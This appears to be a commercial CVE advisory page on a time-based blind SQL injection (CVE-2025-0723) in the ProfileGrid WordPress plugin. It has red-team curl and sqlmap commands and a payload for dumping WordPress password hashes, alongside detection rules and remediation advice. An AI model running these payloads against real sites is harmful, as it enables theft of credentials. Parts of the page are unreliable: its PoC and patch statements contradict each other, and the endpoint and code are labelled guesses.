☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Profilegrid logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-0723

CVE-2025-0723 SQL Injection in Profilegrid
📅 PUBLISHED: 2025-03-22 04:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0723 is a blind and time-based SQL Injection vulnerability discovered in the ProfileGrid – User Profiles, Groups and Communities WordPress plugin. The flaw exists in all versions up to and including 5.9.4.7. An authenticated attacker with Subscriber-level access or higher can exploit insufficient input sanitization in the rid and search parameters to inject malicious SQL queries. This allows extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability specifically affects the WordPress plugin ecosystem. The ProfileGrid plugin is a widely used community and user profile management solution. The attack surface is limited to authenticated users, but the low privilege requirement (Subscriber) significantly increases the risk for multi-user WordPress installations.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Medium. While the confidentiality impact is high, the requirement for authentication and the lack of integrity/availability impact reduce the overall severity. However, in a multi-tenant or community site, a single subscriber can compromise the entire database.

Deep Dive & Mechanics

The vulnerability resides in the plugin's SQL query construction for user profile and group management features. The rid and search parameters are passed directly into SQL queries without proper parameterization or escaping.

Root Cause:

  • The plugin uses $_GET or $_POST values for rid and search in SQL statements.
  • Insufficient escaping allows an attacker to break out of the intended SQL string context.
  • The lack of prepared statements enables time-based blind SQL injection.

Attack Flow:

  1. Attacker authenticates as a Subscriber.
  2. Attacker crafts a malicious request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=profilegrid_search&rid=1).
  3. The rid parameter is injected with a time-based payload (e.g., 1 AND SLEEP(5)).
  4. The server delays its response by 5 seconds, confirming the injection point.
  5. The attacker then extracts data character by character using conditional time delays.

Affected Components:

  • profilegrid-user-profiles-groups-and-communities plugin
  • Vulnerable endpoints: likely AJAX handlers for group and user search functionality.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (PHP):

$rid = $_GET['rid'];
$query = "SELECT * FROM {$wpdb->prefix}pm_group_members WHERE group_id = $rid";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$rid = intval($_GET['rid']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}pm_group_members WHERE group_id = %d", $rid);
$results = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() for parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress installation with ProfileGrid <= 5.9.4.7
  • Valid Subscriber account credentials

Exploitation Steps:

  1. Identify Vulnerable Endpoint:

    curl -s "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" -c cookies.txt -b cookies.txt
    
  2. Confirm Time-Based Injection:

    time curl -s "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1%20AND%20SLEEP(5)" -c cookies.txt -b cookies.txt
    
  3. Extract Database Version:

    sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" --cookie="wordpress_logged_in=..." --batch --technique=T --dbms=mysql --dbs
    
  4. Dump User Credentials:

    sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" --cookie="wordpress_logged_in=..." --batch -D wordpress -T wp_users --dump
    

Manual Payload Example:

1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users LIMIT 1)

Blue Team (Defender)

Detection Steps:

  1. Monitor for unusual SLEEP() or BENCHMARK() functions in SQL queries.
  2. Look for requests to admin-ajax.php with action=profilegrid_search and suspicious rid or search parameters.
  3. Check for slow database queries in MySQL slow query log.
  4. Review WordPress debug.log for SQL errors.

Honeypot Setup:

  • Deploy a fake Subscriber account and monitor its activity.
  • Log all AJAX requests to profilegrid_search and analyze for SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=profilegrid_search and rid or search parameters containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION, SELECT).
  • Unusually long response times (5+ seconds) for AJAX requests.
  • Repeated requests with incremental rid values (e.g., 1, 2, 3).

Host IOCs:

  • MySQL slow query log entries with SLEEP() or BENCHMARK() functions.
  • WordPress debug.log entries containing SQL errors with injected syntax.
  • Unauthorized database queries from the WordPress user context.

File IOCs:

  • Modified plugin files (if attacker uploads webshell).
  • Suspicious entries in wp_options table (e.g., profilegrid_* options with base64-encoded data).

Detection Engineering

YARA Rule

rule CVE_2025_0723_ProfileGrid_SQLi {
    meta:
        description = "Detects SQL injection attempts against ProfileGrid plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0723"
    strings:
        $sqli1 = /rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i
        $sqli2 = /search=.*['\"]\s*(OR|AND)\s+.*=.*/i
        $sqli3 = /admin-ajax\.php.*action=profilegrid_search/i
    condition:
        any of ($sqli*) and #sqli3 > 0
}

Sigma Rule

title: ProfileGrid SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against ProfileGrid plugin (CVE-2025-0723)
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=profilegrid_search'
        cs-uri-query|re:
            - 'rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)'
            - 'search=.*['\''\"]\s*(OR|AND)\s+.*=.*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search terms
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0723 ProfileGrid SQL Injection Attempt";
    flow:to_server,established;
    content:"admin-ajax.php"; http_uri;
    content:"action=profilegrid_search"; http_uri;
    pcre:"/rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i";
    pcre:"/search=.*['\''\"]\s*(OR|AND)\s+.*=.*/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-0723;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Restrict Subscriber capabilities using a security plugin (e.g., restrict AJAX access).
  3. Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Long-term Fix:

  • Apply the official patch when released by ProfileGrid.
  • If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

  • Add the following code to the theme's functions.php to sanitize the rid parameter:
add_filter('query_vars', function($vars) {
    if (isset($_GET['rid'])) {
        $_GET['rid'] = intval($_GET['rid']);
    }
    return $vars;
});

Monitoring:

  • Enable WordPress debug logging temporarily to capture injection attempts.
  • Monitor MySQL slow query log for suspicious queries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-0723

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0723/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.